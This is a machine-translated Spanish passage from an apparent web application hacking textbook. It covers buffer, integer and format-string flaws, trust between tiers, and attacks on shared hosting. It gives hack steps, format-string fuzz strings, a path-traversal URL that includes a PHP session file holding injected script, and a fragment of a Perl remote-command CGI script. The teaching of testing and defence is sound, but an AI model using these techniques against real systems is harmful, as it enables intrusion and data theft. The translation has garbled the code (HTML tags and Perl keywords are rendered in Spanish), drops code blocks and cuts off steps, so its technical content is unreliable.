nombre de usuario tiene 32 bytes o más, el byte nulo se escribe más allá del final del
búfer _username , lo que corrompe la memoria adyacente. Esta condición puede ser
explotable. Si el elemento adyacente en la pila es el puntero de marco guardado del
marco de llamada, establecer el byte de orden inferior en cero puede hacer que apunte a
Machine Translated by Google
el búfer _username y, por lo tanto, a los datos que controla el atacante. Cuando la función de llamada
regresa, esto puede permitir que un atacante tome el control del flujo de ejecución.
Un tipo similar de vulnerabilidad surge cuando los desarrolladores pasan por alto la necesidad de que
los búferes de cadenas incluyan espacio para un terminador nulo. Considere la siguiente "corrección" al
desbordamiento de almacenamiento dinámico original:
Aquí, el programador crea un búfer de tamaño fijo en el montón y luego realiza una operación de copia
de búfer contada, diseñada para garantizar que el búfer no se desborde. Sin embargo, si el nombre de
usuario es más largo que el búfer, el búfer se llena por completo con los caracteres del nombre de usuario,
sin dejar espacio para agregar un byte nulo final. Por lo tanto, la versión copiada de la cadena ha perdido su
terminador nulo.
Los lenguajes como C no tienen un registro separado de la longitud de una cadena. El final de la cadena
se indica mediante un byte nulo (es decir, uno con el código de carácter ASCII cero). Si una cadena pierde
su terminador nulo, efectivamente aumenta su longitud y continúa hasta el siguiente byte en la memoria,
que resulta ser cero. Esta consecuencia no deseada a menudo puede causar un comportamiento inusual y
vulnerabilidades dentro de una aplicación.
Los autores encontraron una vulnerabilidad de este tipo en una aplicación web que se ejecuta en un
dispositivo de hardware. La aplicación contenía una página que aceptaba parámetros arbitrarios en una
solicitud POST y devolvía un formulario HTML que contenía los nombres y valores de esos parámetros
como campos ocultos. Por ejemplo:
a=b
<html>
<cabeza>
<meta http-equiv=”tipo de contenido” content=”text/html;charset=iso-8859-1”>
</cabeza>
<form name=”FORM_RELAY” action=”page.cgi” method=”POST”> <input type=”hidden” name=”a”
value=”b”>
Machine Translated by Google
</formulario>
<cuerpo onLoad=”document.FORM_RELAY.submit();”>
</cuerpo>
</html>
Por alguna razón, esta página se usó en toda la aplicación para procesar todo tipo de
entradas de los usuarios, muchas de las cuales eran confidenciales. Sin embargo, si se
enviaron 4096 o más bytes de datos, el formulario devuelto también contenía los parámetros
enviados por la solicitud anterior a la página, incluso si estos fueron enviados por un usuario
diferente. Por ejemplo:
a=bbbbbbbbbbbbb[muchas más b]
<html>
<cabeza>
</formulario>
<body onLoad="document.FORM_RELAY.submit();">
</cuerpo>
</html>
PASOS DE HACK
1. Para cada elemento de datos de destino, envíe un rango de cadenas largas con
longitudes un poco más largas que los tamaños de búfer comunes. Por ejemplo:
1100
4200
33000
3. Puede usar la fuente de carga útil de bloques de caracteres en Burp Intruder para generar
automáticamente cargas útiles de varios tamaños.
n Un código de estado HTTP 500 o mensaje de error, donde otra entrada incorrecta
(pero no demasiado larga) no tiene el mismo efecto
5. Tenga en cuenta que cuando se activa un desbordamiento basado en montón, esto puede resultar en un
accidente en algún momento futuro, en lugar de inmediatamente. Es posible que deba
experimentar para identificar uno o más casos de prueba que estén causando daños en el montón.
6. Es posible que una vulnerabilidad aislada no provoque un bloqueo, pero puede provocar
un comportamiento anómalo, como que la aplicación devuelva datos inesperados.
Machine Translated by Google
En otros casos, los fi ltros pueden restringir el tipo de datos o el rango de caracteres que se
pueden enviar dentro de un parámetro en particular. Por ejemplo, una aplicación puede validar
que un nombre de usuario enviado contiene solo caracteres alfanuméricos antes de pasarlo a
una función que contiene un desbordamiento. Para maximizar la efectividad de sus pruebas,
debe intentar asegurarse de que cada caso de prueba contenga solo los caracteres permitidos
en el parámetro relevante. Una técnica efectiva para lograr esto es capturar una solicitud
normal que contenga datos que la aplicación acepta y extender cada parámetro específico a
su vez, usando los mismos caracteres que ya contiene, para crear una cadena larga que
probablemente pase cualquier información basada en contenido. fi ltros.
Incluso si está seguro de que existe una condición de desbordamiento de búfer, explotarla
de forma remota para lograr la ejecución de código arbitrario es extremadamente difícil. Peter
Winter Smith de NGSSoftware ha producido una investigación interesante sobre las
posibilidades de explotación de desbordamiento de búfer ciego. Para obtener más información,
consulte el siguiente documento técnico:
www.ngssoftware.com/papers/NISR.BlindExploitation.pdf
Vulnerabilidades de enteros
Las vulnerabilidades relacionadas con números enteros suelen surgir cuando una aplicación
realiza alguna aritmética en un valor de longitud antes de realizar alguna operación de búfer,
pero no tiene en cuenta ciertas características de cómo los compiladores y procesadores
manejan los números enteros. Dos tipos de errores de enteros son dignos de mención:
desbordamientos y errores de firma.
Desbordamientos de enteros
Estos ocurren cuando una operación en un valor entero hace que aumente por encima de su
valor máximo posible o disminuya por debajo de su valor mínimo posible.
Cuando esto ocurre, el número se ajusta, por lo que un número muy grande se vuelve muy
pequeño, o viceversa.
Machine Translated by Google
Aquí, la aplicación mide la longitud del nombre de usuario enviado por el usuario, agrega 1
para acomodar el nulo final, asigna un búfer del tamaño resultante y luego copia el nombre de
usuario en él. Con una entrada de tamaño normal, este código se comporta según lo previsto. Sin
embargo, si el usuario envía un nombre de usuario de 65 535 caracteres, se produce un
desbordamiento de enteros. Un entero de tamaño pequeño contiene 16 bits, lo que es suficiente
para que su valor oscile entre 0 y 65.535. Cuando se envía una cadena de longitud 65.535 , el
programa agrega 1 a esto y el valor cambia a 0. Se asigna un búfer de longitud cero y se copia
en él el nombre de usuario largo, lo que provoca un desbordamiento del montón. El atacante ha
subvertido efectivamente el intento del programador de asegurarse de que el búfer de destino sea
lo suficientemente grande.
Errores de firma
Esto ocurre cuando una aplicación usa enteros con y sin signo para medir la longitud de los
búferes y los confunde en algún momento. La aplicación realiza una comparación directa entre un
valor con signo y sin signo, o pasa un valor con signo como parámetro a una función que toma un
valor sin signo. En ambos casos, el valor con signo se trata como su equivalente sin signo, lo que
significa que un número negativo se convierte en un número positivo grande.
Aquí, la función toma tanto el nombre de usuario proporcionado por el usuario como un entero
con signo que indica su longitud. El programador crea un búfer de tamaño fijo en la pila y verifica
si la longitud es menor que el tamaño del búfer. Si es así, el programador realiza una copia de
búfer contada, diseñada para garantizar que el búfer no se desborde.
tiene éxito, porque el compilador trata ambos números como enteros con signo. Por
lo tanto, la longitud negativa se pasa a la función strncpy como su parámetro de conteo.
Debido a que strncpy toma un entero sin signo como este parámetro, el compilador convierte
implícitamente el valor de len en este tipo, por lo que el valor negativo se trata como un número
positivo grande. Si la cadena de nombre de usuario proporcionada por el usuario tiene más de 32
bytes, el búfer se desborda como en un desbordamiento estándar basado en pila.
Este tipo de ataque generalmente solo es factible cuando el atacante puede controlar
directamente un parámetro de longitud. Por ejemplo, tal vez se calcula mediante JavaScript del
lado del cliente y se envía con una solicitud junto con la cadena a la que se refiere.
Sin embargo, si la variable entera es lo suficientemente pequeña (por ejemplo, corta) y el
programa calcula la longitud en el lado del servidor, un atacante también puede introducir un valor
negativo a través de un desbordamiento de enteros al enviar una cadena demasiado larga al
solicitud.
incrustados dentro de un blob más grande de datos binarios. Estos datos pueden tener su
origen en un componente del lado del cliente , como un control ActiveX, o pueden haber
sido transmitidos a través del cliente en un campo de formulario oculto o en una cookie
(consulte el Capítulo 5). Los enteros relacionados con la longitud pueden ser más difíciles
de identificar en este contexto. Por lo general, se representan en forma hexadecimal y, a
menudo, preceden directamente a la cadena o al búfer con el que se relacionan. Tenga
en cuenta que los datos binarios pueden codificarse utilizando Base64 o esquemas
similares para la transmisión a través de HTTP.
PASOS DE HACK
1. Habiendo identificado los objetivos para la prueba, debe enviar las cargas útiles adecuadas
diseñado para desencadenar cualquier vulnerabilidad. Para cada elemento de datos
objetivo, envíe una serie de valores diferentes a su vez, que representen casos límite
para las versiones firmadas y sin firmar de diferentes tamaños de enteros. Por ejemplo:
Las vulnerabilidades de las cadenas de formato surgen cuando la entrada controlable por el
usuario se pasa como parámetro de la cadena de formato a una función que toma
especificadores de formato que pueden ser mal utilizados, como en la familia de funciones
printf en C. Estas funciones toman una cantidad variable de parámetros, que pueden constan
de diferentes tipos de datos, como números y cadenas. La cadena de formato que se pasa a
la función contiene especifi cadores, que le indican qué tipo de datos están contenidos en los
parámetros de la variable y en qué formato deben representarse.
Por ejemplo, el siguiente código genera un mensaje que contiene el valor de la variable de
conteo , representado como un decimal:
El especificador de formato más peligroso es %n. Esto no hace que se imprima ningún
dato. Más bien, hace que el número de bytes de salida hasta el momento se escriba en la
dirección del puntero pasado como el parámetro variable asociado. Por ejemplo:
genera lo siguiente:
PASOS DE HACK
1. Dirigiéndose a cada parámetro por turno, envíe cadenas que contengan un gran número
de los especificadores de formato %n y %s:
%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%1!n!%2!n!%3!n!%4!n!%5!n!%6!n!%7!n!%8!n!%9!n!%10!n! etc...
%1!s!%2!s!%3!s!%4!s!%5!s!%6!s!%7!s!%8!s!%9!s!%10!s! etc...
Resumen
Las vulnerabilidades de software en código nativo representan un área relativamente
específica en relación con los ataques a las aplicaciones web. La mayoría de las aplicaciones
se ejecutan en un entorno de ejecución gestionada en el que no se presentan las fallas de
software clásicas descritas en este capítulo. Sin embargo, ocasionalmente este tipo de
vulnerabilidades son muy relevantes y se ha descubierto que afectan a muchas aplicaciones
web que se ejecutan en dispositivos de hardware y otros entornos no administrados. Una
gran proporción de tales vulnerabilidades se pueden detectar enviando un conjunto específico
de casos de prueba al servidor y monitoreando su comportamiento.
Algunas vulnerabilidades en las aplicaciones nativas son relativamente fáciles de
explotar, como la vulnerabilidad off-by-one descrita en este capítulo. Sin embargo, en la
mayoría de los casos, son difíciles de explotar debido al acceso remoto a la aplicación vulnerable.
A diferencia de la mayoría de los otros tipos de vulnerabilidades de aplicaciones web, es muy probable
que incluso el acto de sondear fallas de software clásicas provoque una condición de denegación de
servicio si la aplicación es vulnerable. Antes de realizar cualquier prueba de este tipo, debe asegurarse
de que el propietario de la aplicación acepte los riesgos inherentes involucrados.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
1. A menos que existan defensas especiales, ¿por qué los desbordamientos de búfer basados en
pilas suelen ser más fáciles de explotar que los desbordamientos basados en pilas?
4. ¿Por qué la siguiente cadena fuzz no identifica muchas instancias de vulnerabilidades de cadena
de formato?
%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n %n%n%n%n%n...
5. Está buscando vulnerabilidades de desbordamiento de búfer en una aplicación web que hace un
uso extensivo de componentes de código nativo. Encuentra una solicitud que puede contener
una vulnerabilidad en uno de sus parámetros; sin embargo, el comportamiento anómalo que ha
observado es difícil de reproducir de forma fiable.
A veces, enviar un valor largo provoca un bloqueo inmediato. A veces , debe enviarlo varias
veces seguidas para provocar un bloqueo. Y , a veces, se produce un bloqueo después de una
gran cantidad de solicitudes benignas.
CAPÍTULO R
17
Aplicación atacante
Arquitectura
Arquitecturas escalonadas
La mayoría de las aplicaciones web utilizan una arquitectura de varios niveles, en la que la
interfaz de usuario, la lógica empresarial y el almacenamiento de datos de la aplicación se
dividen en múltiples capas, que pueden utilizar diferentes tecnologías y ser implementadas en diferentes
647
Machine Translated by Google
computadoras físicas. Una arquitectura común de tres niveles involucra las siguientes
capas:
Una arquitectura de varios niveles tiene varias ventajas sobre un diseño de un solo nivel.
Al igual que con la mayoría de los tipos de software, dividir las tareas de procesamiento
altamente complejas en componentes funcionales simples y modulares puede brindar enormes
beneficios en términos de administrar el desarrollo de la aplicación y reducir la incidencia de errores.
Los componentes individuales con interfaces bien definidas se pueden reutilizar fácilmente
tanto dentro como entre diferentes aplicaciones. Diferentes desarrolladores pueden trabajar
en paralelo en componentes sin necesidad de un conocimiento profundo de los detalles de
implementación de otros componentes. Si es necesario reemplazar la tecnología utilizada
para una de las capas, esto se puede lograr con un impacto mínimo en las otras capas.
Además, si se implementa bien, una arquitectura de varios niveles puede ayudar a mejorar
la postura de seguridad de toda la aplicación.
n Es posible que pueda explotar las relaciones de confianza entre diferentes niveles para
avanzar un ataque de un nivel a otro.
Machine Translated by Google
n Si los diferentes niveles están separados de manera inadecuada, es posible que pueda
aprovechar un defecto dentro de un nivel para socavar directamente las protecciones de
seguridad implementadas en otro nivel.
Los diferentes niveles de una aplicación pueden confiar unos en otros para comportarse de formas
particulares. Cuando la aplicación funciona con normalidad, estas suposiciones pueden ser válidas.
Sin embargo, en condiciones anómalas o bajo un ataque activo, pueden romperse. En esta
situación, es posible que pueda explotar estas relaciones de confianza para hacer avanzar un
ataque de un nivel a otro, lo que aumenta la importancia de la brecha de seguridad.
Una relación de confianza común que existe en muchas aplicaciones empresariales es que el
nivel de la aplicación tiene la responsabilidad exclusiva de administrar el acceso de los usuarios.
Este nivel maneja la autenticación y la gestión de sesiones e implementa toda la lógica que
determina si se debe conceder una solicitud en particular. Si el nivel de aplicación decide conceder
una solicitud, emite los comandos pertinentes a otros niveles para llevar a cabo las acciones
solicitadas. Esos otros niveles confían en el nivel de la aplicación para realizar las comprobaciones
de control de acceso correctamente y, por lo tanto, respetan todos los comandos que reciben del
nivel de la aplicación.
Este tipo de relación de confianza exacerba muchas de las vulnerabilidades web comunes
examinadas en capítulos anteriores. Cuando existe una falla de inyección SQL , a menudo se
puede explotar para acceder a todos los datos que posee la aplicación. Incluso si la aplicación no
accede a la base de datos como DBA, generalmente usa una sola cuenta que puede leer y
actualizar todos los datos de la aplicación. El nivel de la base de datos confía efectivamente en el
nivel de la aplicación para controlar adecuadamente el acceso a sus datos.
De manera similar, los componentes de la aplicación a menudo se ejecutan utilizando potentes
cuentas del sistema operativo que tienen permiso para realizar acciones confidenciales y acceder
a archivos clave. En esta configuración, la capa del sistema operativo confía efectivamente en los
niveles de aplicación relevantes para no realizar acciones no deseadas. Si un atacante encuentra
una falla de inyección de comando, a menudo puede comprometer completamente el sistema
operativo subyacente que respalda el nivel de aplicación comprometido.
Las relaciones de confianza entre niveles también pueden generar otros problemas. Si existen
errores de programación dentro de un nivel de aplicación, estos pueden provocar un comportamiento
anómalo en otros niveles. Por ejemplo, la condición de carrera descrita en el Capítulo 11 hace que
la base de datos de back-end proporcione información de cuenta que pertenece al usuario
equivocado. Además, cuando los administradores están investigando un evento inesperado o una
brecha de seguridad, los registros de auditoría dentro de los niveles de confianza normalmente
son insuficientes para comprender completamente lo que ha ocurrido, porque simplemente identifican el
Machine Translated by Google
nivel de confianza como agente del evento. Por ejemplo, después de un ataque de inyección
SQL, los registros de la base de datos pueden registrar cada consulta inyectada por el
atacante. Pero para determinar el usuario responsable, debe cotejar estos eventos con las
entradas en los registros del nivel de la aplicación, que pueden o no ser adecuados para
identificar al perpetrador.
una vulnerabilidad de divulgación de archivos dentro del nivel de la aplicación web, que por sí sola
puede no representar un defecto crítico, puede resultar en un acceso sin restricciones a todos los
datos de la aplicación. Esto es cierto porque los datos de MySQL se almacenan en archivos legibles
por humanos que el proceso de la aplicación web a menudo está autorizado a leer. Incluso si la
base de datos implementa un control de acceso estricto sobre sus datos, y la aplicación utiliza una
variedad de diferentes cuentas con pocos privilegios para conectarse a la base de datos, estas
protecciones pueden verse completamente socavadas si un atacante puede obtener acceso directo
a los datos almacenados en la base de datos. nivel.
Por ejemplo, la aplicación que se muestra en la Figura 17-1 permite a los usuarios elegir una
máscara para personalizar su experiencia. Esto implica seleccionar un archivo de hojas de estilo en
cascada (CSS), que la aplicación presenta al usuario para su revisión.
Figura 17-1: Una aplicación que contiene una función para ver un archivo seleccionado
Si esta función contiene una vulnerabilidad de cruce de ruta (consulte el Capítulo 10), un atacante
puede aprovecharla para obtener acceso directo a datos arbitrarios contenidos en la base de datos
MySQL. Esto le permite socavar los controles implementados dentro del nivel de la base de datos.
La figura 17-2 muestra un ataque exitoso que recupera los hash de nombres de usuario y
contraseñas de la tabla de usuarios de MySQL.
Machine Translated by Google
Figura 17-2: Un ataque que socava el nivel de la base de datos para recuperar datos arbitrarios
Un usuario puede modificar el parámetro de país para incluir archivos arbitrarios. Un posible
ataque podría ser solicitar direcciones URL que contengan comandos de script para que se
escriban en el archivo de registro del servidor web y luego incluir este archivo de registro utilizando
el comportamiento de inclusión de archivos local.
Un método interesante que explota una peculiaridad arquitectónica en PHP es que las variables
de sesión de PHP se escriben en un archivo en texto sin cifrar, nombradas mediante el token de sesión.
Por ejemplo, el archivo:
/var/lib/php5/sess_9ceed0645151b31a494f4e52dabd0ed7
puede contener el siguiente contenido, que incluye un apodo configurado por el usuario:
login_in|i:1;id|s:2:”24”;username|s:11:”manicsprout”;nickname|s:22: “msp”;privilege|s:1:”1”;
http://eis/mdsecportal/prefs/preference_2.php?country=../../../../../../ ../../var/lib/php5/
sess_9ceed0645151b31a494f4e52dabd0ed7%00
Figura 17-3: Configuración de un apodo que contiene un código de secuencia de comandos ejecutable por el servidor
Machine Translated by Google
Figura 17-4: Ejecución del archivo de sesión que contiene el apodo malicioso a través de la función
de inclusión de archivos locales
PASOS DE HACK
1. Como se describe a lo largo de este libro, para cualquier vulnerabilidad que identifique
tifique dentro de la aplicación, piense imaginativamente sobre cómo se puede
explotar esto para lograr sus objetivos. Innumerables ataques exitosos contra
aplicaciones web comienzan a partir de una vulnerabilidad que está intrínsecamente
limitada en su impacto. Al explotar las relaciones de confianza y socavar los controles
implementados en otras partes de la aplicación, es posible aprovechar un defecto
aparentemente menor para llevar a cabo una infracción grave.
En la medida de lo posible, cada nivel debe implementar sus propios controles para
defenderse de acciones no autorizadas y no debe confiar en otros componentes de la aplicación para
Machine Translated by Google
prevenir brechas de seguridad que el propio nivel puede ayudar a bloquear. Estos son
algunos ejemplos de la aplicación de este principio a diferentes niveles de la aplicación:
n El nivel del servidor de aplicaciones puede imponer un control de acceso basado en roles
sobre recursos específicos y rutas de URL. Por ejemplo, el servidor de aplicaciones
puede verificar que cualquier solicitud de la ruta /admin se recibió de un usuario
administrativo. También se pueden imponer controles sobre diferentes tipos de recursos,
como tipos específicos de scripts y recursos estáticos. Esto mitiga el impacto de ciertos
tipos de defectos de control de acceso dentro del nivel de la aplicación web, porque los
usuarios que no están autorizados a acceder a ciertas funciones verán bloqueada su
solicitud antes de que llegue a ese nivel. n El nivel del servidor de la base de datos puede
proporcionar varias cuentas para que las use la aplicación para diferentes usuarios y
diferentes acciones. Por ejemplo, las acciones en nombre de usuarios no autenticados
se pueden llevar a cabo con una cuenta con pocos privilegios que permita el acceso de
solo lectura a un conjunto restringido de datos. A las diferentes categorías de usuarios
autenticados se les pueden asignar diferentes cuentas de base de datos, otorgando
acceso de lectura y escritura a diferentes subconjuntos de los datos de la aplicación, de
acuerdo con el rol del usuario. Esto mitiga el impacto de muchas vulnerabilidades de
inyección SQL, porque un ataque exitoso puede resultar en un acceso no mayor al que
el usuario podría obtener legítimamente al usar la aplicación según lo previsto. n Todos
los componentes de la aplicación pueden ejecutarse con cuentas del sistema operativo que
posean el nivel mínimo de privilegios necesarios para el funcionamiento normal.
Esto mitiga el impacto de cualquier inyección de comando o fallas de acceso a archivos
dentro de estos componentes. En una arquitectura bien diseñada y completamente
reforzada , las vulnerabilidades de este tipo pueden proporcionar a un atacante sin
oportunidades útiles para acceder a datos confidenciales o realizar acciones no autorizadas.
n Los diferentes niveles no deben tener acceso de lectura o escritura a los archivos utilizados
por otros niveles. Por ejemplo, el nivel de la aplicación no debe tener acceso a los
archivos físicos que se utilizan para almacenar datos de la base de datos y solo debe
poder acceder a estos datos de la manera prevista mediante consultas a la base de
datos con una cuenta de usuario adecuada.
Dependiendo de las tecnologías exactas en uso, se puede implementar una variedad de otras
protecciones dentro de diferentes componentes de la arquitectura para respaldar el objetivo de
localizar el impacto de un ataque exitoso. Estos son algunos ejemplos de estos controles:
n La seguridad de todas las capas de la pila de tecnología en cada host debe reforzarse, tanto
en términos de configuración como de parches de vulnerabilidad. Si el sistema operativo
de un servidor no es seguro, un atacante que explote una falla de inyección de comando
con una cuenta con pocos privilegios puede escalar los privilegios para comprometer
completamente el servidor. El ataque puede luego propagarse a través de la red si otros
hosts no se han fortalecido. Por otro lado, si los servidores subyacentes están protegidos,
un ataque puede estar completamente contenido dentro de uno o más niveles de la
aplicación.
n Los datos confidenciales que se conservan en cualquier nivel de la aplicación deben cifrarse
para evitar una fácil divulgación en caso de que ese nivel se vea comprometido. Las
credenciales de usuario y otra información confidencial, como números de tarjetas de
crédito, deben almacenarse en forma cifrada dentro de la base de datos. Cuando estén
disponibles, se deben utilizar mecanismos de protección integrados para proteger las
credenciales de la base de datos almacenadas en el nivel de la aplicación web. Por ejemplo,
en ASP.NET 2.0, una cadena de conexión de base de datos cifrada se puede almacenar en el archivo web.config .
Muchas organizaciones usan proveedores externos para ayudar a entregar sus aplicaciones web
al público. Estos arreglos van desde simples servicios de alojamiento en los que una organización
tiene acceso a un servidor web y/o de base de datos, hasta proveedores de servicios de
aplicaciones (ASP) completos que mantienen activamente la aplicación en nombre de la
organización. Los arreglos de este tipo son ideales para pequeñas empresas que no tienen las
habilidades o los recursos para implementar su propia aplicación, pero también son utilizados por
algunas empresas de alto perfil para implementar aplicaciones específicas.
Los sitios web alojados en sistemas compartidos son objetivos principales para los script
kiddies que buscan desfigurar tantos sitios web como sea posible, porque comprometer un
solo host compartido a menudo les permite atacar cientos de sitios web aparentemente
autónomos en un corto período de tiempo.
Alojamiento virtual
Muchos ASP proporcionan aplicaciones listas para usar que se pueden adaptar y personalizar
para que las usen sus clientes. Este modelo es rentable en industrias donde un gran número
de empresas necesitan implementar aplicaciones complejas y altamente funcionales que
brindan esencialmente la misma funcionalidad a sus usuarios finales. Mediante el uso de los
servicios de un ASP, las empresas pueden adquirir rápidamente una aplicación con la marca
adecuada sin incurrir en los grandes costos de instalación y mantenimiento que de otro modo implicaría.
Machine Translated by Google
Proveedor (ASP)
Personalice la
Personalice la máscara de la
aplicación y el contenido no funcional
necesita implementar mecanismos mediante los cuales se pueda lograr este acceso remoto.
En el caso más simple de un sitio web alojado virtualmente, esto puede implicar simplemente una
instalación de carga como FTP o SCP, a través de la cual los clientes pueden escribir archivos
dentro de su propia raíz web.
Si el acuerdo de alojamiento incluye la provisión de una base de datos, es posible que los clientes
necesiten obtener acceso directo para configurar su propia base de datos y recuperar los datos que
la aplicación ha almacenado. En esta situación, los proveedores pueden implementar una interfaz
web para ciertas funciones administrativas de la base de datos o incluso pueden exponer el servicio
de la base de datos real en Internet, lo que permite a los clientes conectarse directamente y utilizar
sus propias herramientas.
En entornos ASP completos, donde diferentes tipos de clientes necesitan realizar diferentes
niveles de personalización en elementos de la aplicación compartida, los proveedores suelen
implementar aplicaciones altamente funcionales que los clientes pueden usar para estas tareas. A
menudo se accede a estos a través de una red privada virtual (VPN) o una conexión privada
dedicada a la infraestructura del ASP.
Dada la variedad de mecanismos de acceso remoto que pueden existir, una serie de
diferentes ataques pueden ser posibles contra un entorno compartido:
n El propio mecanismo de acceso remoto puede ser inseguro. Por ejemplo, el protocolo FTP no
está cifrado, lo que permite que un atacante posicionado adecuadamente (por ejemplo,
dentro del propio ISP de un cliente) capture las credenciales de inicio de sesión. Los
mecanismos de acceso también pueden contener vulnerabilidades de software sin parches
o defectos de configuración que permiten que un atacante anónimo comprometa el
mecanismo e interfiera con las aplicaciones y los datos de los clientes. n El acceso otorgado
por el mecanismo de acceso remoto puede ser demasiado liberal o estar mal segregado entre
clientes. Por ejemplo, a los clientes se les puede dar un shell de comando cuando solo
requieren acceso a archivos. Alternativamente, los clientes pueden no estar restringidos a
sus propios directorios y pueden actualizar el contenido de otros clientes o acceder a
archivos confidenciales en el sistema operativo del servidor.
n Se aplican las mismas consideraciones a las bases de datos que para el acceso al sistema
de archivos. Es posible que la base de datos no esté debidamente segregada, con instancias
diferentes para cada cliente. Las conexiones directas a bases de datos pueden utilizar
canales no cifrados, como ODBC estándar.
n Cuando se implementa una aplicación personalizada con fines de acceso remoto (por ejemplo,
por parte de un ASP), esta aplicación debe asumir la responsabilidad de controlar el acceso
de diferentes clientes a la aplicación compartida. Cualquier vulnerabilidad dentro de la
aplicación administrativa puede permitir que un cliente malintencionado o incluso un usuario
anónimo interfiera con las aplicaciones de otros clientes. También pueden permitir que los
clientes con capacidad limitada actualicen la máscara de su aplicación para escalar privilegios
y modificar elementos de la funcionalidad central involucrada en su aplicación a su
Machine Translated by Google
En el tipo de ataque más obvio, un cliente malintencionado puede cargar contenido que
ataca el propio servidor o las aplicaciones de otros clientes. Por ejemplo, considere la
siguiente secuencia de comandos Perl, que implementa una función de comando remoto en
el servidor:
#!/usr/bin/perl uso
estricto;
usar CGI qw(:escapeHTML estándar); imprimir
encabezado, start_html(“”);
Servidor: Apache/2.0.59
Conexión: cerrar
<!DOCTYPEhtml
“http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” lang=”en-US” xml:lang=”en-US”>
<cabeza>
<title>Documento sin título</title>
</cabeza>
<cuerpo>
apache
</cuerpo>
</html>
Debido a que los comandos del cliente malintencionado se ejecutan como el usuario
de Apache, es probable que esto permita el acceso a los scripts y datos que pertenecen
a otros clientes del servicio de alojamiento compartido.
Este tipo de amenaza también existe en el contexto de una aplicación compartida
administrada por ASP . Aunque la funcionalidad central de la aplicación es propiedad y está
actualizada por el ASP, los clientes individuales normalmente pueden modificar esta
funcionalidad de ciertas formas definidas. Un cliente malintencionado puede introducir
puertas traseras sutiles en el código que controla, lo que le permite comprometer la aplicación
compartida y obtener acceso a los datos de otros clientes.
n Una falla de inyección SQL en una aplicación puede permitir que un atacante realice
consultas SQL arbitrarias en la base de datos compartida. Si el acceso a la base de
datos no está adecuadamente segregado entre diferentes clientes, un atacante puede
leer y modificar los datos utilizados por todas las aplicaciones. n Una vulnerabilidad
de cruce de ruta en una aplicación puede permitir que un atacante lea o escriba archivos
arbitrarios en cualquier parte del sistema de archivos del servidor, incluidos los que
pertenecen a otras aplicaciones.
n Una falla de inyección de comando en una aplicación puede permitir que un atacante
comprometa el servidor y, por lo tanto, las otras aplicaciones alojadas en él, de la
misma manera que se describe para un cliente malicioso.
n Los datos generados por diferentes aplicaciones a menudo se recopilan en una ubicación
común y los usuarios de nivel ASP con privilegios poderosos dentro de la aplicación compartida
los ven. Esto significa que un ataque de tipo XSS dentro de una aplicación personalizada
puede comprometer la aplicación compartida.
Por ejemplo, si un atacante puede inyectar código JavaScript en entradas de archivos de
registro, registros de pago o información de contacto personal, esto puede permitirle secuestrar
la sesión de un usuario de nivel ASP y, por lo tanto, obtener acceso a funciones administrativas
confidenciales.
n Los ASP a menudo emplean una base de datos compartida para almacenar datos
pertenecientes a todos los clientes. La segregación estricta del acceso a los datos puede o no
aplicarse en las capas de la aplicación y la base de datos. Sin embargo, en cualquier caso,
normalmente existen algunos componentes compartidos, como los procedimientos
almacenados de la base de datos, que son responsables de procesar los datos que pertenecen
a varios clientes. Las relaciones de confianza defectuosas o las vulnerabilidades dentro de
estos componentes pueden permitir que clientes o usuarios maliciosos obtengan acceso a datos en otras aplicaciones.
Por ejemplo, una vulnerabilidad de inyección de SQL en un procedimiento almacenado
compartido que se ejecuta con privilegios de definidor puede comprometer toda la base de
datos compartida.
PASOS DE HACK
n ¿Pueden los clientes acceder a archivos, datos y otros recursos a los que
no necesitan acceder legítimamente?
n ¿Pueden los clientes obtener un shell interactivo dentro del entorno
de hospedaje y ejecutar comandos arbitrarios?
2. Si se utiliza una aplicación propietaria para permitir que los clientes
configuren y personalicen un entorno compartido, considere apuntar a esta
aplicación como un medio para comprometer el propio entorno y las
aplicaciones individuales que se ejecutan en él.
Machine Translated by Google
5. Si se utiliza una base de datos común dentro de cualquier tipo de entorno compartido,
realice una auditoría exhaustiva de la configuración de la base de datos, el nivel de
parche, la estructura de la tabla y los permisos, tal vez utilizando una herramienta de
exploración de la base de datos como NGSSquirrel. Cualquier defecto dentro del
modelo de seguridad de la base de datos puede proporcionar un medio para escalar
un ataque desde una aplicación a otra.
atacando la nube
La omnipresente palabra de moda “nube” se refiere aproximadamente al aumento de la subcontratación
de aplicaciones, servidores, bases de datos y hardware a proveedores de servicios externos.
También se refiere al alto grado de virtualización empleado en los entornos de alojamiento compartido
actuales.
Los servicios en la nube describen ampliamente los servicios basados en Internet bajo demanda
que proporcionan una API, una aplicación o una interfaz web para la interacción del consumidor. El
proveedor de computación en la nube normalmente almacena datos de usuario o procesa la lógica
comercial para brindar el servicio. Desde la perspectiva del usuario final, las aplicaciones de escritorio
tradicionales están migrando a equivalentes basados en la nube, y las empresas pueden reemplazar
servidores completos con equivalentes bajo demanda.
Una preocupación de seguridad que se menciona con frecuencia al pasar a los servicios en la nube
es la pérdida de control. A diferencia del servidor tradicional o el software de escritorio, no hay forma
de que un consumidor evalúe de manera proactiva la seguridad de un servicio en la nube en particular.
Sin embargo, el consumidor está obligado a ceder toda la responsabilidad por el servicio
y los datos a un tercero. Para las empresas, se está cediendo más control a un entorno
donde los riesgos no están totalmente calificados o cuantificados. Las vulnerabilidades
publicadas en las aplicaciones web que soportan los servicios en la nube tampoco están
muy extendidas, porque la plataforma basada en la web no está abierta al mismo escrutinio
que los productos descargables tradicionales de cliente/servidor.
Esta preocupación por la pérdida de control es similar a las preocupaciones existentes que las
empresas pueden tener sobre la elección de un proveedor de alojamiento, o que los consumidores
pueden tener sobre la elección de un proveedor de correo web. Pero este problema por sí solo no
refleja los riesgos elevados que trae consigo la computación en la nube. Mientras que comprometer
una sola aplicación web convencional podría afectar a miles de usuarios individuales, comprometer un
servicio en la nube podría afectar a miles de suscriptores de la nube, todos con
Machine Translated by Google
bases de clientes propias. Mientras que un control de acceso defectuoso puede dar acceso no
autorizado a un documento confidencial en una aplicación de flujo de trabajo, en una aplicación
de autoservicio en la nube puede dar acceso no autorizado a un servidor o grupo de servidores.
